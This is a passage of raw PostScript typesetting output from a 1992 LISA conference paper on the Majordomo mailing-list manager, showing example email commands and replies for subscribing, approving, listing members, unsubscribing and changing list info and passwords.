X(The)s +1720 X(\256rst)s +360 X +4015 Y(is)s +427 X(a)s +479 X(standard)s +727 X(Majordomo)s +1063 X(response:)s +360 X +4104 Y +408 X +f.CW 8 Z(From:)s +600 X(Majordomo@Great)s +1080 X(Circle)s +1272 X(.COM)s +360 X +4164 Y +408 X(To:)s +536 X(Jane@Somewhere)s +984 X(.ORG)s +360 X +4224 Y +408 X(Subject:)s +696 X(Majordomo)s +1016 X(results)s +360 X +4320 Y +408 X(>>>>)s +568 X(subscribe)s +888 X(majordomo)s +1176 X(-users)s +360 X +4380 Y +408 X(Succeeded)s +696 X(.)s +360 X +4482 Y +f.R 10 Z(The)s +511 X(second)s +743 X(is)s +835 X("welcome")s +1178 X(message)s +1452 X(with)s +1619 X(speci\256c)s +360 X +4555 Y(information)s +719 X(concerning)s +1059 X(the)s +1185 X(list)s +1311 X(\(note)s +1491 X(that)s +1635 X(it)s +1716 X(also)s +360 X +4628 Y(includes)s +617 X(the)s +734 X(same)s +907 X(information)s +1257 X(that)s +1393 X(an)s +1491 X("info")s +1687 X(com-)s +360 X +4701 Y(mand)s +537 X(on)s +632 X(the)s +743 X(list)s +855 X(would)s +1050 X(return\))s +1231 X(.)s +1299 X(This)s +1447 X(message)s +1702 X(goes)s +2016 X +448 Y(to)s +2091 X(the)s +2196 X(subscribed)s +2504 X(address,)s +2744 X(not)s +2852 X(the)s +2957 X(address)s +3181 X(the)s +3287 X(request)s +2016 X +521 Y(was)s +2155 X(made)s +2335 X(from)s +2499 X(\(though)s +2740 X(in)s +2826 X(this)s +2957 X(case)s +3107 X(those)s +3282 X(are)s +3398 X(the)s +2016 X +594 Y(same;)s +2206 X(since)s +2377 X(Jane)s +2529 X(didn't)s +2722 X(specify)s +2949 X(an)s +3046 X(address)s +3280 X(to)s +3366 X(sub-)s +2016 X +667 Y(scribe,)s +2229 X(it)s +2303 X(defaulted)s +2588 X(to)s +2676 X(the)s +2794 X(address)s +3030 X(the)s +3148 X(request)s +3376 X(was)s +2016 X +740 Y(made)s +2183 X(from\):)s +2016 X +829 Y +2064 X +f.CW 8 Z(From:)s +2256 X(Majordomo@Great)s +2736 X(Circle)s +2928 X(.COM)s +2016 X +889 Y +2064 X(To:)s +2192 X(Jane@Somewhere)s +2640 X(.ORG)s +2016 X +949 Y +2064 X(Subject:)s +2352 X(Welcome)s +2608 X(to)s +2704 X(majordomo)s +2992 X(-users)s +2016 X +1045 Y +2064 X(Welcome)s +2320 X(to)s +2416 X(the)s +2544 X(majordomo)s +2832 X(-users)s +3056 X(mailing)s +3312 X(list!)s +2016 X +1141 Y +2064 X(If)s +2160 X(you)s +2288 X(ever)s +2448 X(want)s +2608 X(to)s +2704 X(remove)s +2928 X(yourself)s +2016 X +1201 Y +2064 X(from)s +2224 X(this)s +2384 X(mailing)s +2640 X(list,)s +2832 X(send)s +2992 X(the)s +2016 X +1261 Y +2064 X(following)s +2384 X(command)s +2640 X(in)s +2736 X(email)s +2928 X(to)s +2016 X +1321 Y +2064 X("Majordomo@Grea)s +2544 X(tCircle)s +2768 X(.COM":)s +2016 X +1417 Y +2192 X(unsubscribe)s +2576 X(majordomo)s +2864 X(-users)s +3088 X(\\)s +2016 X +1477 Y +2304 X(Jane@Somewhere)s +2752 X(.ORG)s +2016 X +1573 Y +2064 X(Here's)s +2288 X(the)s +2416 X(general)s +2672 X(information)s +3056 X(for)s +3184 X(the)s +2016 X +1633 Y +2064 X(list)s +2224 X(you've)s +2448 X(subscribed)s +2800 X(to,)s +2928 X(in)s +3024 X(case)s +3184 X(you)s +2016 X +1693 Y +2064 X(don't)s +2256 X(already)s +2512 X(have)s +2672 X(it:)s +2016 X +1789 Y +2064 X(This)s +2224 X(list)s +2384 X(is)s +2480 X(for)s +2608 X(discussions)s +2992 X(\(including)s +2016 X +1849 Y +2064 X(bug)s +2192 X(reports,)s +2480 X(enhancement)s +2864 X(reports,)s +2016 X +1909 Y +2064 X(and)s +2192 X(general)s +2448 X(usage)s +2640 X(tips\))s +2832 X(concerning)s +2016 X +1969 Y +2064 X(the)s +2192 X(Majordomo)s +2512 X(mailing)s +2768 X(list)s +2928 X(manager)s +3152 X(.)s +2016 X +2029 Y +2064 X(.)s +2096 X(.)s +2128 X(.)s +2016 X +2131 Y +f.R 10 Z(At)s +2109 X(the)s +2217 X(same)s +2381 X(time,)s +2544 X(the)s +2652 X(owner)s +2844 X(of)s +2925 X(the)s +3033 X(list)s +3143 X(\(through)s +3398 X(the)s +2016 X +2204 Y("majordomo)s +2350 X(-users)s +2509 X(-approval")s +2935 X(alias)s +3203 X(in)s +3398 X(the)s +2016 X +2277 Y +f.CW 10 Z(/etc/aliases)s +2533 X +f.R 10 Z(\256le)s +2656 X(on)s +2759 X(the)s +2879 X(Majordomo)s +3231 X(machine\))s +2016 X +2350 Y(would)s +2220 X(receive)s +2452 X(the)s +2572 X(following)s +2868 X(noti\256cation)s +3210 X(of)s +3302 X(a)s +3369 X(new)s +2016 X +2423 Y(user:)s +2016 X +2512 Y +2064 X +f.CW 8 Z(From:)s +2256 X(Majordomo@Great)s +2736 X(Circle)s +2928 X(.COM)s +2016 X +2572 Y +2064 X(To:)s +2192 X(majordomo)s +2480 X(-users)s +2672 X(-approval@Great)s +3152 X(Circle)s +3344 X(.COM)s +2016 X +2632 Y +2064 X(Subject:)s +2352 X(SUBSCRIBE)s +2672 X(majordomo)s +2960 X(-users)s +2016 X +2728 Y +2064 X(Jane@Somewhere)s +2512 X(.ORG)s +2672 X(has)s +2800 X(been)s +2016 X +2788 Y +2064 X(added)s +2256 X(to)s +2352 X(majordomo)s +2640 X(-users)s +2832 X(.)s +2016 X +2848 Y +2064 X(No)s +2160 X(action)s +2384 X(is)s +2480 X(required)s +2768 X(on)s +2864 X(your)s +3024 X(part)s +3152 X(.)s +2016 X +2950 Y +f.R 10 Z(If)s +2094 X(Jane)s +2247 X(wanted)s +2474 X(to)s +2560 X(subscribe)s +2846 X(some)s +3021 X(other)s +3193 X(address)s +3428 X(to)s +2016 X +3023 Y(majordomo)s +2323 X(-announce)s +2742 X(\(the)s +2988 X(email)s +3280 X(address)s +2016 X +3096 Y("SysStaff@Some)s +2482 X(where)s +2645 X(.ORG",)s +2886 X(for)s +3003 X(instance,)s +3280 X(so)s +3379 X(that)s +2016 X +3169 Y(all)s +2134 X(members)s +2429 X(of)s +2534 X(the)s +2666 X(system)s +2902 X(staff)s +3071 X(would)s +3286 X(receive)s +2016 X +3242 Y(announcements)s +2471 X(concerning)s +2808 X(Majordomo\),)s +3202 X(she)s +3332 X(could)s +2016 X +3315 Y(submit)s +2220 X(the)s +2324 X(following)s +2605 X(request:)s +2016 X +3404 Y +2064 X +f.CW 8 Z(From:)s +2256 X(Jane@Somewhere)s +2704 X(.ORG)s +2016 X +3464 Y +2064 X(To:)s +2192 X(Majordomo@Great)s +2672 X(Circle)s +2864 X(.COM)s +2016 X +3560 Y +2064 X(subscribe)s +2384 X(majordomo)s +2672 X(-announce)s +2992 X(\\)s +2016 X +3620 Y +2304 X(SysStaff@Somew)s +2752 X(here)s +2880 X(.ORG)s +2016 X +3722 Y +f.R 10 Z(This)s +2184 X(would)s +2399 X(cause)s +2597 X(the)s +2729 X(following)s +3038 X(message)s +3315 X(to)s +3417 X(be)s +2016 X +3795 Y(returned)s +2260 X(to)s +2334 X(Jane:)s +2016 X +3884 Y +2064 X +f.CW 8 Z(From:)s +2256 X(Majordomo@Great)s +2736 X(Circle)s +2928 X(.COM)s +2016 X +3944 Y +2064 X(To:)s +2192 X(Jane@Somewhere)s +2640 X(.ORG)s +2016 X +4004 Y +2064 X(Subject:)s +2352 X(Majordomo)s +2672 X(results)s +2016 X +4100 Y +2064 X(>>>>)s +2224 X(subscribe)s +2544 X(majordomo)s +2832 X(-announce)s +3152 X(\\)s +2016 X +4160 Y +2304 X(SysStaff@Somew)s +2752 X(here)s +2880 X(.ORG)s +2016 X +4220 Y +2064 X(Your)s +2224 X(request)s +2480 X(to)s +2576 X(Majordomo@Great)s +3056 X(Circle)s +3248 X(.COM:)s +2016 X +4316 Y +2192 X(subscribe)s +2512 X(majordomo)s +2800 X(-announce)s +3120 X(\\)s +2016 X +4376 Y +2304 X(SysStaff@Somew)s +2752 X(here)s +2880 X(.ORG)s +2016 X +4472 Y +2064 X(has)s +2192 X(been)s +2352 X(forwarded)s +2672 X(to)s +2768 X(the)s +2896 X(owner)s +3088 X(of)s +3184 X(the)s +2016 X +4532 Y +2064 X("majordomo)s +2384 X(-announce")s +2736 X(list)s +2896 X(for)s +3024 X(approval)s +3280 X(.)s +2016 X +4592 Y +2064 X(This)s +2224 X(could)s +2416 X(be)s +2512 X(for)s +2640 X(any)s +2768 X(of)s +2864 X(several)s +3120 X(reasons:)s +2016 X +4688 Y +2192 X(You)s +2320 X(might)s +2512 X(have)s +2672 X(asked)s +2864 X(to)s +2960 X(subscribe)s +3280 X(to)s +3376 X(a)s +2016 X +4748 Y +2192 X("closed")s +2480 X(list,)s +2672 X(where)s +2864 X(all)s +2992 X(new)s +3120 X(additions)s +360 X +4967 Y +f.B 10 Z(140)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Page: 141 7 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +600 X +215 Y(Chapman)s +2339 X(Majordomo:)s +2723 X(How)s +2878 X(I)s +2926 X(Manage)s +3177 X(17)s +3265 X(Mailing)s +3510 X(Lists)s +3669 X(.)s +3686 X(.)s +3703 X(.)s +600 X +435 Y +776 X +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 8 Z(must)s +936 X(be)s +1032 X(approved)s +1320 X(by)s +1416 X(the)s +1544 X(list)s +1704 X(owner)s +1864 X(.)s +600 X +531 Y +776 X(You)s +904 X(might)s +1096 X(have)s +1256 X(asked)s +1448 X(to)s +1544 X(subscribe)s +1864 X(or)s +600 X +591 Y +776 X(unsubscribe)s +1160 X(an)s +1256 X(address)s +1512 X(other)s +1704 X(than)s +600 X +651 Y +776 X(the)s +904 X(one)s +1032 X(that)s +1192 X(appears)s +1448 X(in)s +1544 X(the)s +1672 X(headers)s +600 X +711 Y +776 X(of)s +872 X(your)s +1032 X(mail)s +1192 X(message)s +1416 X(.)s +600 X +807 Y +648 X(When)s +808 X(the)s +936 X(list)s +1096 X(owner)s +1288 X(approves)s +1576 X(your)s +1736 X(request,)s +2024 X(you)s +600 X +867 Y +648 X(will)s +808 X(be)s +904 X(notified)s +1160 X(.)s +600 X +963 Y +648 X(If)s +744 X(you)s +872 X(have)s +1032 X(any)s +1160 X(questions)s +1480 X(about)s +1672 X(the)s +600 X +1023 Y +648 X(policy)s +872 X(of)s +968 X(the)s +1096 X(list)s +1256 X(owner,)s +1480 X(please)s +1704 X(contact)s +600 X +1083 Y +648 X("majordomo)s +968 X(-announce)s +1256 X(-approval@Great)s +1736 X(Circle)s +1928 X(.COM")s +2088 X(.)s +600 X +1185 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(At)s +700 X(the)s +816 X(same)s +988 X(time,)s +1159 X(Majordomo)s +1507 X(sends)s +1689 X(the)s +1805 X(following)s +600 X +1258 Y(message)s +849 X(to)s +923 X(the)s +1027 X(mailing)s +1254 X(list)s +1359 X(owner:)s +600 X +1347 Y +648 X +f.CW 8 Z(From:)s +840 X(Majordomo@Great)s +1320 X(Circle)s +1512 X(.COM)s +600 X +1407 Y +648 X(To:)s +776 X(majordomo)s +1064 X(-announce)s +1352 X(-approval@Great)s +1832 X(Circle)s +2024 X(.COM)s +600 X +1467 Y +648 X(Subject:)s +936 X(APPROVE)s +1192 X(majordomo)s +1480 X(-announce)s +600 X +1563 Y +648 X(Jane@Somewhere)s +1096 X(.ORG)s +1256 X(requests)s +1544 X(that)s +1704 X(you)s +600 X +1623 Y +648 X(approve)s +904 X(the)s +1032 X(following:)s +600 X +1719 Y +776 X(subscribe)s +1096 X(majordomo)s +1384 X(-announce)s +1704 X(\\)s +600 X +1779 Y +888 X(SysStaff@Somew)s +1336 X(here)s +1464 X(.ORG)s +600 X +1875 Y +648 X(If)s +744 X(you)s +872 X(approve,)s +1160 X(please)s +1384 X(send)s +1544 X(a)s +1608 X(message)s +600 X +1935 Y +648 X(such)s +808 X(as)s +904 X(the)s +1032 X(following)s +1352 X(back)s +1512 X(to)s +600 X +1995 Y +648 X(Majordomo@Great)s +1128 X(Circle)s +1320 X(.COM)s +1480 X(\(with)s +1672 X(the)s +600 X +2055 Y +648 X(appropriate)s +1032 X(PASSWORD)s +1320 X(filled)s +1544 X(in,)s +600 X +2115 Y +648 X(of)s +744 X(course\):)s +600 X +2211 Y +776 X(approve)s +1032 X(PASSWORD)s +1320 X(subscribe)s +1640 X(\\)s +600 X +2271 Y +888 X(majordomo)s +1176 X(-announce)s +1496 X(SysStaff@Somewh)s +1976 X(ere)s +2072 X(.ORG)s +600 X +2367 Y +648 X(If)s +744 X(you)s +872 X(disapprove,)s +1256 X(do)s +1352 X(nothing)s +1576 X(.)s +600 X +2469 Y +f.R 10 Z(If)s +672 X(the)s +782 X(list)s +893 X(owner)s +1087 X(sends)s +1263 X(such)s +1413 X(an)s +1504 X("approve")s +1801 X(command)s +600 X +2542 Y(back)s +753 X(to)s +832 X(Majordomo,)s +1190 X(and)s +1313 X(the)s +1422 X(password)s +1699 X(is)s +1770 X(the)s +1878 X(correct)s +600 X +2615 Y(password)s +883 X(for)s +992 X(the)s +1106 X(list)s +1221 X(in)s +1306 X(question,)s +1582 X(then)s +1730 X(the)s +1845 X(addition)s +600 X +2688 Y(will)s +760 X(take)s +927 X(place)s +1069 X(.)s +1163 X(The)s +1322 X(address)s +1577 X(being)s +1779 X(subscribed)s +600 X +2761 Y(\(SysStaff@Some)s +1061 X(where)s +1224 X(.ORG,)s +1466 X(in)s +1586 X(this)s +1752 X(case\))s +1959 X(will)s +600 X +2834 Y(receive)s +864 X(a)s +964 X(standard)s +1260 X("Welcome)s +1614 X(to)s +1735 X(majordomo)s +2042 X(-)s +600 X +2907 Y(announce")s +906 X(message)s +1158 X(and)s +1279 X(the)s +1386 X(list)s +1494 X(owner)s +1685 X(will)s +1815 X(receive)s +2034 X(a)s +600 X +2980 Y(standard)s +894 X("SUBSCRIBE")s +1377 X(noti\256cation,)s +1767 X(as)s +1891 X(shown)s +600 X +3053 Y(above)s +759 X(.)s +600 X +3147 Y +744 X(Such)s +908 X(an)s +1002 X("approve")s +1301 X(cycle)s +1474 X(takes)s +1644 X(place)s +1818 X(if)s +1891 X(a)s +1953 X(user)s +600 X +3220 Y(attempts)s +852 X(to)s +927 X(subscribe)s +1202 X(or)s +1280 X(unsubscribe)s +1621 X(any)s +1740 X(address)s +1963 X(that)s +600 X +3293 Y(doesn't)s +830 X(match)s +1028 X(the)s +1144 X(one)s +1274 X(in)s +1360 X(the)s +1476 X(header)s +1688 X(of)s +1777 X(their)s +1934 X(mes-)s +600 X +3366 Y(sage,)s +758 X(or)s +835 X(if)s +898 X(a)s +950 X(user)s +1083 X(asks)s +1220 X(to)s +1294 X(subscribe)s +1568 X(to)s +1642 X(a)s +1694 X("closed")s +1941 X(list)s +2024 X(.)s +600 X +3460 Y +744 X(To)s +841 X(\256nd)s +967 X(out)s +1075 X(who)s +1212 X(is)s +1280 X(on)s +1369 X(the)s +1474 X(majordomo)s +1781 X(-users)s +1964 X(list,)s +600 X +3533 Y(Jane)s +741 X(would)s +929 X(send)s +1073 X(the)s +1177 X(following)s +1458 X(request:)s +600 X +3622 Y +648 X +f.CW 8 Z(From:)s +840 X(Jane@Somewhere)s +1288 X(.ORG)s +600 X +3682 Y +648 X(To:)s +776 X(Majordomo@Great)s +1256 X(Circle)s +1448 X(.COM)s +600 X +3778 Y +648 X(who)s +776 X(majordomo)s +1064 X(-users)s +600 X +3880 Y +f.R 10 Z(and)s +718 X(would)s +906 X(receive)s +1122 X(the)s +1226 X(following)s +1507 X(response:)s +600 X +3969 Y +648 X +f.CW 8 Z(From:)s +840 X(Majordomo@Great)s +1320 X(Circle)s +1512 X(.COM)s +600 X +4029 Y +648 X(To:)s +776 X(Jane@Somewhere)s +1224 X(.ORG)s +600 X +4089 Y +648 X(Subject:)s +936 X(Majordomo)s +1256 X(results)s +600 X +4185 Y +648 X(>>>>)s +808 X(who)s +936 X(majordomo)s +1224 X(-users)s +600 X +4245 Y +648 X(Members)s +904 X(of)s +1000 X(list)s +1160 X('majordomo)s +1480 X(-users':)s +600 X +4341 Y +648 X(brent@GreatCirc)s +1128 X(le)s +1192 X(.COM)s +1352 X(\(Brent)s +1576 X(Chapman\))s +600 X +4401 Y +648 X(Jane@Somewhere)s +1096 X(.ORG)s +600 X +4461 Y +648 X(Joe)s +776 X(User)s +936 X()s +600 X +4521 Y +648 X(.)s +680 X(.)s +712 X(.)s +2256 X +448 Y +2400 X +f.R 10 Z(To)s +2500 X(\256nd)s +2629 X(out)s +2740 X(which)s +2929 X(of)s +3010 X(the)s +3118 X(lists)s +3253 X(she's)s +3417 X(on)s +3510 X(that)s +3638 X(are)s +2256 X +521 Y(served)s +2469 X(by)s +2573 X(a)s +2641 X(given)s +2827 X(Majordomo)s +3179 X(server,)s +3397 X(Jane)s +3554 X(would)s +2256 X +594 Y(send)s +2400 X(the)s +2504 X(following)s +2785 X(request:)s +2256 X +683 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Jane@Somewhere)s +2944 X(.ORG)s +2256 X +743 Y +2304 X(To:)s +2432 X(Majordomo@Great)s +2912 X(Circle)s +3104 X(.COM)s +2256 X +839 Y +2304 X(which)s +2256 X +941 Y +f.R 10 Z(Majordomo)s +2592 X(would)s +2780 X(respond)s +3012 X(with:)s +2256 X +1030 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Majordomo@Great)s +2976 X(Circle)s +3168 X(.COM)s +2256 X +1090 Y +2304 X(To:)s +2432 X(Jane@Somewhere)s +2880 X(.ORG)s +2256 X +1150 Y +2304 X(Subject:)s +2592 X(Majordomo)s +2912 X(results)s +2256 X +1246 Y +2304 X(>>>>)s +2464 X(which)s +2256 X +1306 Y +2304 X(The)s +2432 X(address)s +2688 X('Jane@Somewhere)s +3168 X(.ORG')s +3360 X(is)s +2256 X +1366 Y +2304 X(on)s +2400 X(the)s +2528 X(following)s +2848 X(lists)s +3040 X(served)s +3264 X(by)s +2256 X +1426 Y +2304 X(Majordomo@Great)s +2784 X(Circle)s +2976 X(.COM:)s +2256 X +1522 Y +2560 X(majordomo)s +2848 X(-users)s +2256 X +1645 Y +2400 X +f.R 10 Z(To)s +2515 X(unsubscribe)s +2874 X(herself)s +3097 X(from)s +3267 X(the)s +3391 X(majordomo)s +3698 X(-)s +2256 X +1718 Y(users)s +2415 X(list,)s +2537 X(Jane)s +2678 X(would)s +2866 X(send)s +3010 X(a)s +3062 X(request)s +3277 X(such)s +3421 X(as:)s +2256 X +1807 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Jane@Somewhere)s +2944 X(.ORG)s +2256 X +1867 Y +2304 X(To:)s +2432 X(Majordomo@Great)s +2912 X(Circle)s +3104 X(.COM)s +2256 X +1963 Y +2304 X(unsubscribe)s +2688 X(majordomo)s +2976 X(-users)s +3200 X(\\)s +2256 X +2023 Y +2544 X(Jane@Somewhere)s +2992 X(.ORG)s +2256 X +2125 Y +f.R 10 Z(To)s +2352 X(which)s +2537 X(Majordomo)s +2873 X(would)s +3061 X(respond:)s +2256 X +2214 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Majordomo@Great)s +2976 X(Circle)s +3168 X(.COM)s +2256 X +2274 Y +2304 X(To:)s +2432 X(Jane@Somewhere)s +2880 X(.ORG)s +2256 X +2334 Y +2304 X(Subject:)s +2592 X(Majordomo)s +2912 X(results)s +2256 X +2430 Y +2304 X(>>>>)s +2464 X(unsubscribe)s +2848 X(majordomo)s +3136 X(-users)s +3360 X(\\)s +2256 X +2490 Y +2544 X(Jane@Somewhere)s +2992 X(.ORG)s +2256 X +2550 Y +2304 X(Succeeded)s +2592 X(.)s +2256 X +2652 Y +f.R 10 Z(The)s +2383 X(following)s +2665 X(message)s +2915 X(would)s +3104 X(also)s +3236 X(be)s +3323 X(sent)s +3455 X(to)s +3531 X(the)s +3637 X(list)s +2256 X +2725 Y(owner:)s +2256 X +2814 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Majordomo@Great)s +2976 X(Circle)s +3168 X(.COM)s +2256 X +2874 Y +2304 X(To:)s +2432 X(majordomo)s +2720 X(-users)s +2912 X(-approval@Great)s +3392 X(Circle)s +3584 X(.COM)s +2256 X +2934 Y +2304 X(Subject:)s +2592 X(UNSUBSCRIBE)s +2976 X(majordomo)s +3264 X(-users)s +2256 X +3030 Y +2304 X(Jane@Somewhere)s +2752 X(.ORG)s +2912 X(has)s +3040 X(unsubscribed)s +2256 X +3090 Y +2304 X(from)s +2464 X(majordomo)s +2752 X(-users)s +2944 X(.)s +2256 X +3150 Y +2304 X(No)s +2400 X(action)s +2624 X(is)s +2720 X(required)s +3008 X(on)s +3104 X(your)s +3264 X(part)s +3392 X(.)s +2256 X +3273 Y +2400 X +f.R 10 Z(If)s +2475 X(Jane's)s +2673 X(mailer)s +2876 X(automatically)s +3273 X(appended)s +3559 X(a)s +3620 X(sig-)s +2256 X +3346 Y(nature)s +2453 X(to)s +2535 X(the)s +2647 X(end)s +2772 X(of)s +2856 X(all)s +2953 X(her)s +3067 X(outgoing)s +3332 X(messages,)s +3631 X(she)s +2256 X +3419 Y(could)s +2428 X(issue)s +2586 X(the)s +2692 X("end")s +2866 X(command)s +3153 X(as)s +3233 X(the)s +3339 X(last)s +3457 X(command)s +2256 X +3492 Y(of)s +2347 X(her)s +2468 X(messages)s +2757 X(to)s +2844 X(cause)s +3028 X(Majordomo)s +3377 X(to)s +3464 X(stop)s +3610 X(pro-)s +2256 X +3565 Y(cessing)s +2480 X(at)s +2556 X(that)s +2684 X(point)s +2821 X(.)s +2887 X(In)s +2969 X(addition,)s +3232 X(she)s +3348 X(could)s +3523 X(include)s +2256 X +3638 Y(blank)s +2438 X(lines)s +2599 X(or)s +2688 X(comments)s +2997 X(\(anything)s +3286 X(following)s +3579 X(a)s +3643 X('#')s +2256 X +3711 Y(on)s +2349 X(a)s +2406 X(line)s +2534 X(is)s +2607 X(a)s +2665 X(comment,)s +2959 X(and)s +3083 X(is)s +3156 X(discarded)s +3440 X(before)s +3638 X(the)s +2256 X +3784 Y(line)s +2379 X(is)s +2446 X(processed\))s +2753 X(if)s +2816 X(she)s +2927 X(wanted)s +3142 X(to)s +3194 X(.)s +2256 X +3878 Y +2400 X(If)s +2492 X(the)s +2622 X(owner)s +2836 X(of)s +2939 X(the)s +3069 X("majordomo)s +3403 X(-users")s +3637 X(list)s +2256 X +3951 Y(wished)s +2473 X(to)s +2553 X(change)s +2769 X(the)s +2878 X(information)s +3220 X(\256le)s +3333 X(that)s +3461 X(is)s +3533 X(sent)s +3668 X(in)s +2256 X +4024 Y(response)s +2513 X(to)s +2589 X("info")s +2774 X(and)s +2894 X("subscribe")s +3224 X(requests,)s +3484 X(he)s +3572 X(could)s +2256 X +4097 Y(do)s +2344 X(that)s +2467 X(with)s +2608 X(a)s +2660 X(message)s +2909 X(such)s +3053 X(as:)s +2256 X +4186 Y +2304 X +f.CW 8 Z(To:)s +2432 X(Majordomo@Great)s +2912 X(Circle)s +3104 X(.COM)s +2256 X +4282 Y +2304 X(newinfo)s +2560 X(majordomo)s +2848 X(-users)s +3072 X(PASSWORD)s +2256 X +4342 Y +2304 X(This)s +2464 X(is)s +2560 X(a)s +2624 X(revised)s +2880 X(information)s +3264 X(file)s +2256 X +4402 Y +2304 X(for)s +2432 X(the)s +2560 X(majordomo)s +2848 X(-users)s +3072 X(mailing)s +3328 X(list)s +3456 X(.)s +2256 X +4462 Y +2304 X(END)s +2256 X +4564 Y +f.R 10 Z(If)s +2333 X(the)s +2448 X(password)s +2732 X(used)s +2887 X(was)s +3024 X(the)s +3139 X(correct)s +3358 X(password)s +3643 X(for)s +2256 X +4637 Y(the)s +2368 X(list,)s +2498 X(Majordomo)s +2842 X(would)s +3038 X(replace)s +3261 X(the)s +3372 X(existing)s +3613 X(info)s +2256 X +4710 Y(\256le)s +2371 X(with)s +2519 X(the)s +2630 X(contents)s +2882 X(of)s +2966 X(the)s +3078 X(message)s +3335 X(to)s +3417 X(the)s +3529 X("END")s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(141)s +5280 Y +pagebot + +%%Page: 142 8 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +215 Y(Majordomo:)s +744 X(How)s +899 X(I)s +947 X(Manage)s +1198 X(17)s +1286 X(Mailing)s +1531 X(Lists)s +1690 X(.)s +1707 X(.)s +1724 X(.)s +3199 X(Chapman)s +360 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(marker)s +579 X(\(or)s +686 X(the)s +798 X(end)s +924 X(of)s +1008 X(the)s +1119 X(message,)s +1392 X(if)s +1462 X(there)s +1625 X(was)s +1758 X(no)s +360 X +521 Y(marker\))s +571 X(.)s +637 X(A)s +713 X(wise)s +864 X(list)s +975 X(owner)s +1169 X(would)s +1363 X(probably)s +1627 X(include)s +360 X +594 Y(an)s +485 X("info)s +680 X(majordomo)s +987 X(-users")s +1234 X(command)s +1558 X(after)s +1742 X(the)s +360 X +667 Y("END")s +575 X(marker)s +788 X(so)s +871 X(that)s +996 X(he)s +1083 X(could)s +1256 X(verify)s +1440 X(that)s +1566 X(the)s +1673 X(infor-)s +360 X +740 Y(mation)s +568 X(update)s +768 X(succeeded)s +1043 X(.)s +360 X +834 Y +504 X(A)s +576 X(list)s +683 X(owner)s +874 X(could)s +1047 X(also)s +1180 X(use)s +1294 X(a)s +1349 X(message)s +1601 X(like)s +1727 X(this)s +360 X +907 Y(to)s +434 X(change)s +645 X(the)s +749 X(password)s +1022 X(for)s +1121 X(their)s +1266 X(list:)s +360 X +996 Y +408 X +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 8 Z(To:)s +536 X(Majordomo@Great)s +1016 X(Circle)s +1208 X(.COM)s +360 X +1092 Y +408 X(passwd)s +632 X(majordomo)s +920 X(-users)s +1144 X(OLD)s +1272 X(NEW)s +360 X +1194 Y +f.R 10 Z(If)s +463 X(the)s +604 X(old)s +748 X(password)s +1058 X(for)s +1194 X(majordomo)s +1501 X(-users)s +1720 X(was)s +360 X +1267 Y("OLD",)s +592 X(then)s +730 X(Majordomo)s +1067 X(would)s +1256 X(change)s +1468 X(the)s +1573 X(password)s +360 X +1340 Y(to)s +435 X("NEW")s +641 X(.)s +703 X(For)s +819 X(all)s +911 X(Majordomo)s +1249 X(list)s +1356 X(owner)s +1546 X(operations)s +360 X +1413 Y(that)s +495 X(require)s +718 X(passwords,)s +1045 X(knowledge)s +1370 X(of)s +1458 X(the)s +1573 X(password)s +360 X +1486 Y(for)s +470 X(the)s +585 X(list)s +701 X(is)s +779 X(the)s +894 X(sole)s +1035 X(authentication)s +1448 X(performed)s +1758 X(on)s +360 X +1559 Y(the)s +469 X(command)s +732 X(.)s +797 X(As)s +897 X(I've)s +1030 X(said)s +1164 X(elsewhere)s +1458 X(in)s +1536 X(this)s +1659 X(paper,)s +360 X +1632 Y(this)s +490 X(isn't)s +643 X(intended)s +907 X(to)s +993 X(be)s +1090 X(highly)s +1294 X(secure;)s +1518 X(it's)s +1638 X(merely)s +360 X +1705 Y(intended)s +625 X(to)s +712 X(keep)s +873 X(obnoxious)s +1184 X(people)s +1397 X(from)s +1560 X(making)s +1794 X(a)s +360 X +1778 Y(nuisance)s +625 X(of)s +711 X(themselves)s +1040 X(by)s +1137 X(abusing)s +1375 X(list)s +1489 X(owner)s +1687 X(com-)s +360 X +1851 Y(mands)s +534 X(.)s +360 X +1945 Y +504 X(Note)s +658 X(that)s +783 X(Majordomo)s +1121 X(does)s +1267 X(not)s +1376 X(yet)s +1482 X(support)s +1706 X(con-)s +360 X +2018 Y(tinuation)s +637 X(lines)s +803 X(\(a)s +894 X(command)s +1196 X(line)s +1336 X(that)s +1476 X(ends)s +1637 X(with)s +1794 X(a)s +360 X +2091 Y(backslash,)s +662 X(indicating)s +955 X(that)s +1081 X(the)s +1188 X(command)s +1476 X(continues)s +1758 X(on)s +360 X +2164 Y(the)s +471 X(next)s +615 X(line\))s +767 X(as)s +852 X(shown)s +1054 X(above,)s +1259 X(though)s +1472 X(it)s +1539 X(is)s +1612 X(high)s +1758 X(on)s +360 X +2237 Y(the)s +472 X(list)s +585 X(of)s +670 X(features)s +912 X(to)s +995 X(be)s +1089 X(added)s +1248 X(.)s +1318 X(Continuation)s +1697 X(lines)s +360 X +2310 Y(were)s +512 X(used)s +656 X(here)s +793 X(for)s +892 X(typesetting)s +1208 X(reasons)s +1408 X(.)s +360 X +2437 Y +664 X +f.B 10 Z(Experiences)s +1032 X(with)s +1180 X(Majordomo)s +360 X +2546 Y +504 X +f.R 10 Z(Majordomo)s +862 X(is)s +951 X(currently)s +1236 X(used)s +1402 X(to)s +1498 X(run)s +1631 X(the)s +1758 X(17)s +360 X +2619 